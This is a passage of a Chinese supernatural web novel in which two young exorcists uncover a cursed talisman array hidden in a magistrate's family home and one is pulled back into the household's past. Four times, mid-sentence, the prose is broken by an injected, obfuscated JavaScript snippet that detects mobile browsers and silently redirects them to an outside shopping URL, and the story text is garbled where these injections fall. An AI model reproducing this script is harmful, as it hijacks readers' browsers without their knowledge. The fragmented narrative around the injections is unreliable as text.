这大概就是刚离开的那术士前一夜做的法。如若第二日香灰上有脚印,则证明怨鬼未走。 “王家真的闹鬼啊……怪不得我一踏进来,身上毛的不像话。”姜绾自然也发现了这点,侧头悄声对芩竹道,本意是想让她放弃揽王家这烂摊子,可芩竹要是真能听懂她言外之意,那才是怪了。 “阴气太重。”芩竹出言附和。 自她一进门,腰上的碎块就没有安分过震个不停,就算她现在压着都能带得整只手发麻,简直不知道收了什么刺激,这是从前都没有过的,芩竹只能出声安抚:“安静。” 姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562346|142769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绾起初还以为是对她说,震惊回头才发现又是在哄那死物,顿时无语,刚想吐槽两句,前面唠家常的老孔已经走过来了,可却不见了王老爷,旁边跟着的成了个稍微年轻一些的男人。 “仙……咳,二位大师,这位是王世才大少爷,也得喊知县大人。”老孔介绍道。 芩竹两人老老实实跟着问候了声,抬眸打量来人。 男人个头不高,尖下巴朝天鼻,眉尾浅淡,乍一看像是他爹捡来的,瘦的跟猴一样,但在昏暗中,那双眼睛依旧炯炯有神,硬生生把这死气沉沉的院子拉高了点生气。 姜绾皱着眉头,看了王世才一眼便想拉着芩竹说话,可这场合又实在不行,憋得难受只好扭头瞅她一下,这一下刚好芩竹也在看她,两人突然之间好像有了那么一丝默契,都像王世才的方向滑了下眼神,再端正姿态。 面前这人怎么看,无论气质或面相,都不像是王家家运的带动者,着实奇怪。 王世才自然是看不懂她们俩之间的小动作的,恭敬道:“父亲身体不适不能久站,故而先进去休息了,两位大师听闻年纪轻轻便道法高超,还请为我王家解惑。” 芩竹听他说了一大堆,只觉得头晕脑胀,胡乱点点头就去看姜绾,后者被她看得头大,内心咆哮着再使眼色给老孔。 老孔:…… “哈哈,大师不善言辞,大人您多担待,要不这样,您给讲讲具体情况?”老孔抹着汗,心中盘算着等会必须得找个时间开溜。 王世才倒是破天荒的好说话,温和笑笑带着鼻音慢慢讲起来。 芩竹脑内自发整理了下。也就是说,王家的大夫人桂枝五日前离世,停灵三日后在前日一早下葬,一切并无不妥。可就是这样,在桂枝离世之后,家中便陆续有丫鬟好端端去世,叫郎中来检查也什么都查不出,就连过度劳累都说不出来。 也是前日,午时二夫人付宁和十二岁的小少爷王世长突然高热不止,到今日都束手无策。 芩竹边听他说,边走到香案旁,手指在案下那个脚印上轻轻摸了下。那术士操作的都是正确的。又起身沿着脚印走到二门口。 再往里便没了香灰,脚印也没处追了。 身后王世才追着芩竹一路走到这,看她突然没了动作,犹豫道:“不知大师有什么办法,需要我做些什么?” 这个…… “稍等。”芩竹扭头去找后面站着的姜绾,向王世才稍稍颔首,走过去问:“有头绪吗?” 姜绾震惊地说不出话来,又怕自己表情太过明显,忙压下情绪道:“你问我?我以为你很厉害?!” 芩竹不知道她哪里来的结论,只是朝姜绾怀里那个包袱努了努嘴,言外之意:你这身行头明显比我靠谱。 姜绾竟不知她把主意全打在自己身上,嘴角都快砸到地下了,小小声道:“你让我骗骗人还行,来真格的我——”说着小幅度地疯狂摇头。 站在旁边原本等着传话的老孔听了全程:……他现在跑应该还来得及吧。 “世才,怎么样了。” 这时,本来像是做了甩手掌柜的王老爷突然又走了出来,语气里是明显的不耐。 5. 阴木条 王老爷这一句话开口,在场几个人皆是一愣。其中最慌得莫过于姜绾了,拼命想抓着芩竹的衣服将人拽跑。 “大师?”王世才也转头问她们。 芩竹闻声转身,回想了下之前王世才说的话,万年不变的平直语调缓缓说道:“刚听大人说的,似乎有些指向性,意在指宅中如今景象是那桂枝夫人所为?” 姜绾眨眨眼,也顺着她的话去想,抬眼看见王世才张了张口想要反驳,可还不等他说出个所以然来,王老爷那含糊又沙哑的声音便直接道:“那是肯定!” 说完后就是一长串粘连的咳喘。 芩竹点头表示自己知道了,又重新看向王世才:“桂枝夫人生前为人如何,可曾受过苛待?” 这话一出,王世才的脸色有些尴尬,前头那令人难受的咳声更大,而身后也冒出一声略小的清嗓子的声音,姜绾的声音传过来:“大门都没关,你这话应该没人了再问……” 老孔此刻只想问自己什么时候才能回家找媳妇,站在后面假装自己不存在。 芩竹眨眨眼,乖乖朝姜绾那退了一步,就看王世才跑向王老爷跟前给他顺气,然后神情略带严肃地冲她们二人道:“当然不曾,我母亲也可以作证,大娘因病去世,那病也是生下红儿妹妹时体虚伤及根本才久治不愈。” 再便有小厮在旁附和,说桂枝夫人不善言辞,最初嫁来王家时一直无法生养,还是王老太太在世时帮忙想法子怀了孕,只是可惜是个女儿家,便是王红。 王红诞下后也如桂枝一般,和谁都不亲近,只有大她四岁的王世才愿意陪着她玩。但也是造化弄人,王红在三年前,不小心落水去世了。 而说这些无非就是告诉芩竹她们,王家对桂枝并无怠慢,两房关系也是和睦。 可这样便是说不通了。 桂枝因病离去,按理说是阳寿已尽,执念怨恨全无,是万不可能逗留在阳间迟迟不走。 所以这王家宅子里,怨鬼若为桂枝,那王家必定说了谎。若王家所说为真,那恐怕他们猜错了,给宅中整出这些事的,另有其鬼。 天还黑着,身子越发的冷,芩竹能感觉到背后的衣料贴在皮肤上,渗进丝丝缕缕的寒气。 一般情况下她不怕冷,现在这冷直往肉里钻,腰间碎块震动更快,芩竹已经有些压不住了。 啊,不是寒气,是阴气。 这时,从内院跌跌撞撞跑出来了个丫鬟,焦急喊道:“老爷,二夫人咳血了,怎么也止不住!” 姜绾打了个寒颤。 “大夫呢,快去请来!”王世才慌忙道,那丫鬟“欸”了声转了回去,刚才和芩竹几人打了照面的小厮急忙飞奔出门。 王世才显然没有刚才那般自持,扶着不停咳喘的王老爷,语气难免有些疏离:“不知大师可看出了什么,有何方法?” 老孔揣着手真想一头撞去墙上死一死,现下不停地瞅着芩竹,时刻准备着替这两姑娘否了这门事。 “我想进去看看。”芩竹说着就要抬脚,立刻又被姜绾拉回来,对方眉毛都要打结了:“那二夫人听着明显不行了,你现在进去,非但惹一身晦气还平白一口黑锅当头嘛!” 腰间碎块震着悬了起来,要不是有条绳子拴着,估计会朝着内院飞去。芩竹直接将它整个握在手里,目光越过王世才,看向二门里面。 “里面估计有我要的东西,而且,二夫人能救。”她前半句不太确定的话声音略小,连姜绾听得都不太真切,而后半句放大了声音,肯定的话术既是对着姜绾,也是那头的王世才。 果然,王世才听到后眼睛一亮:“此话当真!” “当真。” 先不管三年前王红落水是否是宅中的无名鬼所为,就看现在王家骇人的阴气和之前诊断不出病症的离世之人,二夫人那就不是病。 既不是病,那她就能试试。 芩竹这般想着,又看向姜绾:“需要你帮忙。” 姜绾:“给钱。” 芩竹:“好的。” 老孔:我想走。 王世才此时此刻算是真的死马当活马医,似乎与王老爷耳语了什么,那老头虽是表情依旧泛着敌意,却也闭上眼,眼珠在眼皮下咕噜一瞥,掺着王世才的手晃晃悠悠走进去。 姜绾从进二门便四处张望着:“门主灶……”然后又快速跟到芩竹身边,悄声道:“他们家请的风水先生很好啊,平泉街后面应该有几棵树挡着,宅子东北方便干脆缺一块方正,刚好来财。” 芩竹看了她一眼,又听她喃喃道:“对啊,那为何这阳宅现下跟阴宅有得一拼……” “可能之后又翻修了吧。”芩竹道,眼神从东厢房屋檐下那多出的一角木块上收回来,去看前面引路的王世才。 这一路,越靠近主屋二夫人付宁的房间,腰间那碎块发出的动静便越大,芩竹都有种那东西要炸在手中的想法。 主屋内暖炉烧得很旺,从门外进来,闷热的气扑面而来,身上寒气和那热浪对撞,两人皆是一抖,下意识喟叹出气,再进入鼻腔的,就是空气中浓浓的药味和血腥混杂在一起的怪味。 这味道把屋子连续腌了两日到了现在,姜绾反正受不了。 芩竹耸了耸鼻子,感觉身边原本还很活跃的那抹鹅黄色忽然安静下来,低着脑袋紧紧贴着她,还能感觉到姜绾的鼻尖在她的肩头蹭着。 举止过于奇怪,所以她问:“流鼻涕了?” 姜绾:…… “没有,就是,算了。”姜绾抬起头,伸出手指搓了搓鼻间。 芩竹定定看了她一会,想到什么对她说:“你先出去,看看宅子哪里有不同。再给我五张符,还有……” “又这么多?!”姜绾本来还在想她上句话是什么意思,猛然听见下一句,炸了毛。 “那三张吧,对了,你这符都是用来做什么的?”芩竹一本正经道。 姜绾绷着严肃的脸余光瞄了下旁边满脸空白的丫鬟,背过身迅速挡住那人,使劲控诉芩竹:“实在不会说话就别说了!” “好。” “嗯……我其实也只知道其中有两张是引雷召火的,其余的——可能就是辟辟邪?”后半句姜绾是凑在芩竹耳边说的,说的一脸心虚。 芩竹倒是一如既往地没脸没皮,坦然接受,自觉接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562347|142769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过姜绾的包袱,然后继续上一句话。 她话里意义不明,姜绾凭借与她仅有的相处判断,这厮大概自己也没弄明白宅院里不同在哪。 但好歹能出去透透气,姜绾也就认命领了这“差事”,留下一句“多加小心”,便迅速跑了出去。 芩竹目送她离开,眼神顺着她的方向看向桂枝夫人从前住的房间,碎块锋利的尖在手心硌的生疼,这东西似乎拼命想去那个地方。她暗暗用力,朝他道:“安静。” 碎块就像是真的能听懂她说话似的,话音落下时便停住了震动,然而那动静也仿佛是碎块都无法抵挡的本能,只扼制住须臾,便又开始颤动,但这次大约是有了芩竹的警告,幅度小的多了,好似真的怕弄疼了她。 没了腰间事物的耽搁,芩竹快走几步跟上王世才进去付宁的闺房,里面只有个小丫鬟陪着,而付宁本人,脸色青白,无声无息地躺在床上。 芩竹上前坐在床侧,伸手在付宁漏在外面的脖颈间探了探,一片冰凉,皮肤比她在外冻了一夜的手还冷,那冷倒不是说她能摸出来的,而是感觉,就像是自身的热量被这位夫人吸去了。 她虽是不通医术,但也大概能觉出来,付宁此时的状态是死了。 这想法在场几人都这么想,王世才站在芩竹身旁,颤声问:“大师,还……”他吞咽了下,才重新找到说话的方法,“我母亲她如何治啊?” 芩竹没说话,迅速从包袱里掏出三张符纸,在旁边燃着的蜡烛上点燃,嘴唇微张,念出道口诀,黄符下端的火燃烧的速度变慢,朱砂符文泛出灵光。 念完后,符纸从她指间飞出,稳稳贴在床头,门,窗。一时间,房内竟爆出小小一阵风,和泡沫被骤然戳破漏出气风一般,风过去,令人神清气爽。 王世才从始至终都死死盯着床上的付宁,所以那盖在颈间的被子微微的起伏也逃不过他的眼睛,竟是重新有了呼吸!他大喜过望:“娘!” 芩竹站起来打断他那一副要说很多话的样子,环看四周:“宅中的局势被人改过了,现下我也不知是哪里出了问题,目前只能先这般隔出二夫人的房间,但等符纸燃尽,我也没有办法。” 说完又对着旁边不知所措的丫鬟道:“大夫还没来吗,现在看诊应该能有些用。” “大师,要不您在想想办法?”王世才一改刚才的客气态度,现在可以说是热络。 但这对芩竹没用,她总不能说,关于符纸和口诀的用法她也是临近时才福至心灵般想起来的。 姜绾在的话,这话大概她也不会让说,所以芩竹只是摇头。可记起刚才碎块的异常,她便想借机提出能不能让王世才带她去桂枝屋里看看。 “你可——” 刚开口,门外忽然响起一阵嘈杂,像是发生了口角,同时姜绾不停地叫着芩竹的名字,王老爷嘶哑的怒吼冲进屋内:“把她们给我赶出去!” 芩竹和王世对视一瞬,两人立刻转头跑进院中,入目便是姜绾怀里抱着个黑色木块和老孔缩在一起,旁边围着一圈高大的伙计。 见到芩竹出来,姜绾赶紧抬头喊道:“我知道他们家风水是怎么改的了!” 6. 阴木条 刚才姜绾走出主屋后,按照芩竹的话,她理应是要在这宅中转着去找那人口中古怪不同的地方。 可偏偏什么线索也没有,这要叫人如何找?况且现如今这宅子怪吓人的,她还真不敢乱跑。 姜绾如是想着,抱臂搓着胳膊,打了个哆嗦跨下台阶,朝旁边正在打扫的伙计搭话,问他王宅有没有翻新或新建什么地方。 那伙计知道这姜绾她们是少爷和老爷请进来的,听她问话,也就认真回想了下,倒还真有一次。 那时候小姐,也就是王红还没有发生意外,家中来了一伙工匠,但没有新建什么,只是做了些木工活,听老爷说,是给大夫人换了个梨花木的床榻。 “最开始夫人说是难受睡不惯,前两日是和二夫人一屋的。但这些也是听别人讲的,小的毕竟只是个打杂的。”那伙计说。 姜绾笑笑,将人放走了。桂枝夫人的屋子铁定是进不去,只能等一会芩竹出来再想想办法。 于是就揣着这线索在院中晃悠着,然后从二门看着了前院站着的老孔,那人满脸愁容,感觉呆在这煎熬极了。 看这样子难免叫人发笑,姜绾反正无聊,就想去聊聊天,路过东厢房,她还记着刚才那事,便特意走上台阶抬头顺带看了一眼。 这一看正正好,她看到了房檐下一块突出的角。应该是什么东西没有卡牢固。 天色昏暗,连带着那东西也黑漆漆的,而这会院子里的人都有事在忙,也没人会觉得这位大师突然在廊下发癫般跳高,是一件很奇怪的事。 毕竟大师嘛,莫名其妙也是正常的。 这头姜绾使劲蹦了两下也确定了。那应该是块木头,约莫三指宽,两指厚,露出来的那点分析不出有多长,但刚才她蹦来蹦去,能看见在黑色木条衬托下,有条窄缝里有明显的亮色。 里面是塞了什么东西。 姜绾舔了舔嘴唇,托刚才那伙计的福,她非常自然地便将这木条与他话里不知所踪的木工活联系在一起。 有种没来由的兴奋忽然涌上心头。 姜绾左看右看,没找到趁手的东西将那木条搞下来,而老孔又不能进来内院,所以她只好趁一个伙计不注意,把他挑担的木杆给拿了过来,一顿乱戳。 木条在她的努力下掉了下来,王老爷也被她这动静惊扰,然后便是最初芩竹听到那阵混乱。 姜绾抱着木条挣开旁边伙计抢夺木条的手,转身跑了两步,趁机将里面塞着的东西朝外拽了拽。 一股霉味和奇怪的草药味扑鼻而来,还有些经年累月趴在里面的小虫。 她忍着隔应使劲拽出一半,按手感来说,这里面塞着的应该是布料。且这料子上还画着褐色的印子。 有些地方会有不太明显的刷痕,像是这褐色墨汁不太够用,笔干得分了叉所造成的结果。 姜绾总觉得这颜色看着令人难受,狠心用力一扯,布上复杂的印子显露更多,怎么看怎么像是某种符文。 她心中一紧,想得入了神,便被人拦下了要来抢怀里的东西,姜绾着急蹲下护着那木条,下意识去喊芩竹。 没想到啊,她屡屡招摇撞骗,什么时候这般认真去考虑主人家的生死了…… 老孔在外面看见这一幕,到底是救命恩人,心一横冲了进来把姜绾扶起,这便是芩竹出来看到的景象。 “大胆!还不动手!”王老爷胸口剧烈起伏,连带着肩膀和那不明显的脖子一缩一伸,好像再说一句话就要蹬腿倒地。 可尽管他这幅样子,底下那群伙计依然不敢忤逆。恶狠狠地就要去夺姜绾手中的东西。 芩竹见状,忙不迭冲上去掀开就近的一个人,挡在姜绾身前,王世才也赶去王老爷边上,急道:“父亲,大师治好了母亲,说不定真的能有办法呢,您再听听!” “莫要被美色侵扰,她是不是给你施了什么邪术!”王老爷根本不听王世才的话。满脑子都是儿子否定他的决断,遥遥指着芩竹的方向。 姜绾气急,抓着手里布料高高一抬:“什么邪术!明明就是你自己用了邪术!” 她动作太急,压根没注意到旁边站着的伙计,那人用力捏住布料一头,姜绾反射收紧手心,被那人大力拽得歪去一边都没松手,而那人见状,抬脚就要踹。 芩竹看见,迅速抬手挡下那一脚,换了只手拽住那人的手腕,用力掰过向下一压。听着痛呼一声,姜绾后怕着缩回芩竹身后。 她颇有些意外地小声叨叨:“你看着一副没人性的样子,怎么做的尽是些热心肠的事,那救一下,这帮一下的……” 芩竹愣了下,摇摇头:“不知道,想做就做了。” “而且有人告诉我,人命珍贵,能救则救。” 老孔细细琢磨这话,总觉芩竹那话里重音放的很奇怪,然后又反应过来,呆呆道:“那为何,还问我要钱啊?” 芩竹:“赶巧了。要点钱,也不冲突吧。” 老孔:…… 台阶上王世才见到她们二人刚才的处境,直接对围在几人身边的伙计呵斥道:“住手!” 王老爷震惊地看向他,听见他说:“父亲,你且听听她们二人如何说啊。” 芩竹闻言,接过姜绾手里的木条,塞在木条缝中的布料已经拽出来许多,她没用多少力就将剩下的也抽了出来。 缓缓展开,露出全貌。布料应当是外袍领口的位置,衣服颜色已经看不出了,但能看到领口边绣着的一朵有些眼熟的小花。整片衣料,都被画满了奇奇怪怪的符文。 “这是从王大人房檐下抽出来的,血衣为符柳木封之,这不是邪术是什么?”姜绾大声道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562348|142769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 芩竹不知道这木头为柳木,但若是这样,这阴木条若要把王家阴气聚拢到如此浓郁,势必不止这一个。 “王大人,你母亲时间不多了。如果这东西找不到,局解不了,那只能恕我们无能为力。”芩竹淡淡道。 王世才拧眉看着自己的父亲,说:“父亲,儿子记得这是您派人来做的,剩下的木头都钉在哪了?” 王老爷的眼皮大半压在眼睛上,深深喘着气,慢慢闭上又睁开,说了几个地方。王世才立刻挥走几个伙计去找,走下台阶去看芩竹手里的布料。 “能看出来是谁的衣服吗?”芩竹问,对方摇头。 而她看着那领口的花,静静盯着后猛然记起,刚才在付宁屋中,她腋下的被子上,就有这样的一朵小花。于是便将这事告诉了王世才。 然而王世才却是沉默一瞬,否认这一说法,转而说了另一个答案。 “这应该……是大娘的衣服。” 看见芩竹二人疑惑的眼神,王世才叹道:“我母亲针线不好,这种绣工更是做不来。倒是大娘经常会给我和红儿妹妹绣些花样。” “你说的那个我有印象,那日我和世长跑去母亲屋里,刚好看到大娘和我母亲坐在床边聊天,这花应该就是那时候绣的。” 一般用衣料做咒,是对衣服的主人有些意图。而这衣服的主人已经死了,拿她做什么? 芩竹捏着木条,问道:“这木条是什么时候做的?”她本意是问王世才,结果姜绾比主人回答的都快,突突突就把从伙计那听来的告诉了她。 “那不是梨花木吗,柳木是从何得知的?”芩竹忽然有个疑问。 姜绾“嘿嘿”一笑,照旧和她耳语:“我胡诌的。” 老孔:……他默默退出了内院。 芩竹倒是没怎么纠结她这种胡说八道,反而是在意了另一个问题:“木条前几年做的,那衣服应该也是那时候放进去的,当时大夫人还未死……” “你是说,大夫人是被这木条咒死的?”姜绾喃喃道,“可这等邪术,如果真是你说的那样,大夫人一般活不到现在吧。” 的确。 芩竹收了木条,这时候从四面跑来几个伙计,将四块半臂长的木条放在几人面前,正是他们要找的东西,从里面,同样抽出了几块大小不一的布料。 芩竹接来一块,和王世才手里拿着的布料浅浅对过去,然后将两人的布料铺在地上,展开另外几个,如果没猜错,看样子是能拼成一件完整的单薄外衫。 姜绾也蹲下帮忙,然而拼拼凑凑,还差了中间那突兀的一窟窿。 “正东,东南,东北,西南……王老爷是不是少说了个地方。”芩竹看着外衫中间那个洞,眼神看向王老爷,又飘去主屋桂枝夫人的房间。 阴气最重的房间。 7. 阴木条 王老爷像是憋着一股气,明明家中出了如此变故芩竹她们实在不太明白这有什么可隐瞒的,王世才也是,他显然担忧自己的母亲,几近渴求道:“父亲,您就告诉我们吧,这究竟如何不可说!” 他们说话时,芩竹就盯着面前铺着的残缺布料,这上面符文也因为中间缺的那块变得不完整,但她脑海里总有个模糊的影子,和剩下那大半很像。 是什么呢? 好像是一位老者,拿着卷古老的卷宗指给他们看。他们……不对,重点是那个卷宗上的图画。 一时间,那张图画就像是和这布料重合到了一起,严丝合缝,形成了一块完整的符文。这个符文,是某种阵局—— “以阴补阳。”芩竹蹲在地上,抬手虚虚描绘着残缺的那块符文走向。 姜绾听见她说话,但又没完全听懂,表情略有些一言难尽:“想不到这种时候,你还开玩笑那等风月之事呢?” 芩竹自是更不了解她话中的意思,起身插进王世才的话:“这血衣上的符文是种禁术,家中女眷过多时,可以慢慢取她们之气兴男丁之运。但她们皆是凡胎又不曾修习练气,总有一日会被阵局耗死。” 王世才听到这里,忽然似想到什么,神态间仿佛回到很远的地方,呆呆地望向后院。 “看这些木条钉的地方,主旺的应该是王世才大人吧。”芩竹不咸不淡地说出口。 听完这些,姜绾惊讶地瞪大眼睛,心中恶寒语气硬邦邦道:“闹那么半天,原来是自己把自己家搞成了这样……” “也不是,”芩竹开口反驳道,她抚着腰间的碎块,看着主屋说,“如果是这样的话,小少爷没理由也高热昏睡不止,而且——” “而且还有那个无名小鬼!”姜绾突然想到,她们初时的目的也仅仅是驱鬼。 芩竹点点头,看向王世才。这人从刚开始就仿佛陷入了业障,紧蹙着眉眼里皆是不可置信。 她显然是无法理解这种感情,刚想开口,却被姜绾拉住了,听这人转去质问王老爷:“王老爷,您的家事我们管不着,但您看,现在这阵局显然出了问题,再不解决,恐怕到时候王宅也别叫王宅了,改名叫阴宅算了。所有人下葬都不用算什么好地方,在院里呆着就行了!” 宅院黑色的树影和瓦檐上深蓝的凌晨天色下晕出了一层红,寒风刮过,如同张牙舞爪的鬼影后弥漫的血色。 姜绾的话夹着干硬的风,毫不留情的戳进院中每一个人心里,原本憋着劲的王老爷也终于被扎漏了气,咳喘着哀叹道:“罢了罢了……”然后抬步朝主屋走去。 王世才终于回过神,看了眼他的父亲,最终什么也没有说,只不过攥着的木条在剧烈的颤抖。 芩竹瞥了眼,收回眼神,又和姜绾对视一瞬,跟着前面那俩父子,压住腰间蠢蠢欲动的碎块,踏进主屋。 一切也没什么不同,包括那张据说特意打出来的梨花木床。要说最特别,那也只能是压得人喘不过气的阴气。 这种对于芩竹来说没什么,她本身就比一般活人生气少一些,而姜绾,那包袱里不知道装了多少开了光的法器,阳气重的旁的小鬼都不一定敢近身。 所以这个喘不过气的人也只剩了两个,就是那王家父子。 王老爷一进门便寻了位置坐下,伸长脖子喘着气,王世才看着也非常难受,但却还直挺挺的站着,红着眼环视这间房子。 “就在床底下。”王老爷那如同被捏住气管一般的声音发出。 几人将床挪开,很容易便发现位于床底正中间的位置有根铜黄色一指粗的针,针与木地板连接处有一圈稀稀拉拉的深色,很难不让人想到地下会不会钉死了一个人。 笃,笃,笃—— 一阵快速的敲击声在无声的房中响起。 姜绾人都快吓飞了,瘪着嘴躲在芩竹身后,却发现这里的声音更大,定神一寻,才发现竟然是芩竹腰间那个碎块正疯狂乱蹦。 “吓死我了……”姜绾抱怨道,“你这到底是什么东西。” 芩竹将手按在腰间,说:“他有点兴奋,你的包袱给我背一下吧。” 姜绾也知道她什么意思,就是怕那地里有什么东西,顺带再压制一下腰上那稀奇古怪的玩意儿。 王世才没有理会这边两人的对话,抬手敲了敲木板,试探着扣了下边缘,直接将一人宽的板直直抬起来扔去了一边,上手去刨那针边的土,芩竹见状,拉高肩膀上的包袱也去帮忙,姜绾则是抿着嘴站在芩竹身后。 然而那针底下也没有什么干尸之类,只有个和王世才手中一样的木条,埋得很浅。 芩竹拨开木条上撒下来的一小撮土,伸手去拿却没拿动,陷入土下的手指似乎还触到了什么东西,有些扎。 她又将边上的土往旁拨开,一手伸得更深去搬,一手攥着木条中间钉着的铜针用力拔。这回倒是确认了些,最下面那东西的触感应该是干草。 这根针像是串着木条和底下的东西钉在了地下很深的地方,拿的颇为吃力,芩竹和王世才两人用力才使这两者松动一些。 这时,芩竹忽然感觉自己手上摸到一股液体,她将放在木条下方的手抽出来,原是指缝中流过了两缕血丝,可她手上却并无破口。 芩竹疑惑看过去,松开握着铜针的手,竟发现那钉着木条的针口,同样溢出了血丝。合像是中间有什么在挣扎着逃脱这根针的掌控。 “怎么了?”王世才好像没有发现这一异常,只是在疑惑芩竹怎么停下了动作。 芩竹摇摇头,重新伸手过去,可在握上铜针的时候,却不知怎么了,手心一不小心划在针尖。 那经年岁洗礼多年的针尖竟依旧尖利非常,只轻轻一下,便将芩竹的手划开了一道长长的裂口。 鲜血顺着手掌的纹路染在针上,等芩竹吃痛移开了手,血液已然沿着铜针滑了下去。 那一刻不知为什么,芩竹感觉,好像是那木条在奋力地吸取,眨眼间,就连针壁上的血也被吸了下去,就像被一根无形的舌头细细舔了个干净。 这想法太过恶心,可还不等芩竹甩掉这个念头,便是一阵天旋地转,再次睁开眼,芩竹还蹲在地上,只不过面前的床摆得好好的,床下也没有什么可怖的铜钉,姜绾他们都不见了踪影,房中只剩下了她一个。 更奇怪的是,院外人声杂乱,男男女女说话声揉在一起,热闹得很。 但芩竹从到王宅来后,也仅仅见过付宁丫鬟那一个姑娘,现下外面的动静,恐怕不是如今的王家能发出来的。 芩竹垂首看着右手掌心的豁口,血依旧在流,从掌侧汇聚成一颗血珠摇晃两下坠落下去,然而即将滴落在地面上时,却消失了。 也可以这么理解,没有滴在她现在处在的地方。 她从怀中拿出那水壶,浇在伤口上,又扯出一节短布缠在手上,靠近房间门口,侧耳听着外面的动静。 丁零当啷的,不知在忙活些什么。 王宅这么看,还挺生龙活虎,而且桂枝夫人床下还没有血咒……一个念头在芩竹心中升起,她会不会来到了几年前的王宅,那外面忙活着的…… 突然,门口传来个丫鬟的声音:“你们两个进来把大夫人的床搬出去,过会叫你们再将床搬进来。” 芩竹就站在门边避无可避,刚好和最初进来的一个丫鬟对上眼神。 刚还水灵灵的小姑娘瞬间翻出漆黑的眼仁,脸色“唰”的一下褪去了血色,张嘴哬出嘶哑的声音,顶着那张死人脸迅速抬手抓来。 就这样的怎么可能不躲,芩竹连忙向后撤去两步,而这丫鬟速度极快,每一下甩手还裹着劲风,更不巧的是,刚才丫鬟指点的两个伙计这时也走进了屋里。 芩竹就这么和他们三个人,不,应当称为鬼,完美地对视了。 屋子总就这么大,逃到哪里都不可能,芩竹绕过丫鬟的攻击,跑到桌边奋力一掀,将旁边两个朝她奔来的伙计砸退几步,趁机从他们两鬼中间的空隙中矮身钻了出去,闪出了房间。 刚踏进正厅两步,便看到门口两个端着果盘的丫鬟聊天,一个转过半身,只消侧一下眼便可看过来。 芩竹急忙停住脚,背过身,鬼鬼祟祟地缩在门口的大花瓶后面,她微微喘了两口气,抓紧肩膀上的包袱,警惕着刚才桂枝的房门口。 里面的鬼没有追出来,房里发出了一阵令人牙酸的摩擦声,紧接着便是刚才那丫鬟的声音:“小心点,弄坏了你们可赔不起。”是在搬那张床。 所以只要她消失在他们视线之外,便只会继续刚才原本要做的事情。 可这事是要将床搬出来,那还是会经过芩竹所在的地方。 她半蹲起身,探出头去看了眼门口的那两个丫鬟,听着身后房门越来越近的脚步,见前面那个丫鬟不知说到什么高兴的地方晃了晃身子转过头去,瞅着这时机,她飞速跑去对面门前,在桂枝房中之人出来之前,推开面前的门钻了进去。 想象中的鬼脸没有贴上来,芩竹看见了正坐在桌边喝茶的付宁,还有站在她身边的丫鬟。 付宁身板挺得很直,见到她时明显被惊到了,瞪大眼睛浑身颤抖了下,表情灵动的一点都不像是那个满身死气躺在床上的人。 “你你你,你是谁啊,怎么闯到这里了?”就连小丫鬟也比之前见到的情绪高涨些,正怒气冲冲地挡在付宁面前。 这王宅中的鬼应该是被什么驱使,或支撑他们攻击的。而几年之前的二夫人她们还活着,所以此刻见了也没有办法被附身驱使变成无知觉的鬼。 芩竹到底是松了口气,睫毛忽闪忽闪准备扯谎:“我是老爷请的术士,他让我来给你算上一卦,不知夫人愿不愿意。” 付宁对她看了一会,笑道:“当然愿意。” "夫人想算什么?"芩竹走近些,小丫鬟给她让了个凳子。 谁知坐下后付宁却又犹豫开口:“我该如何称呼你?小师傅?大师?” “都行。”芩竹没有动包袱里的东西,回答完后冲付宁道,“夫人,可否借我三个铜板?” 行走江湖算命看相,却连家伙事都不带,小丫鬟觉着她一点都不正常。可付宁倒一点不这么想,让给了铜板,抬眸小心看过去,却说了另一个请求。 “大师……其实我的命不重要,主要是想算算我儿子的。” 芩竹顿住手,缓缓点头:“可以。令郎姓名和生辰八字告知与我即可。” 付宁弯了眉眼,取了纸笔写下来放在桌上,两只手攥着拳头搁在腿面上。 芩竹不经意间看了她一眼,铜板在手里摇了摇,搭话:“夫人莫要紧张,之前我见过王少爷,看着是大富大贵之人。” 可付宁牵起嘴角,苦笑道:“世才生下来便有好多人说过他福薄命浅,大师不用说这客气话,此番想让大师算算,也不过是想求些破解的法子。” 芩竹摇钱的手松开,铜板在桌上滚开,她一一看了正反,重新收拢在手里,掀起眼皮继续用她那毫无波澜的语气问:“未曾客气,说了事实罢了。倒是夫人,怎么人云亦云了呢?” 她这张脸惯是面无表情,周身气质也是高冷无情,这么说话,总给人一种毋庸置疑的感觉。 “我……”付 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 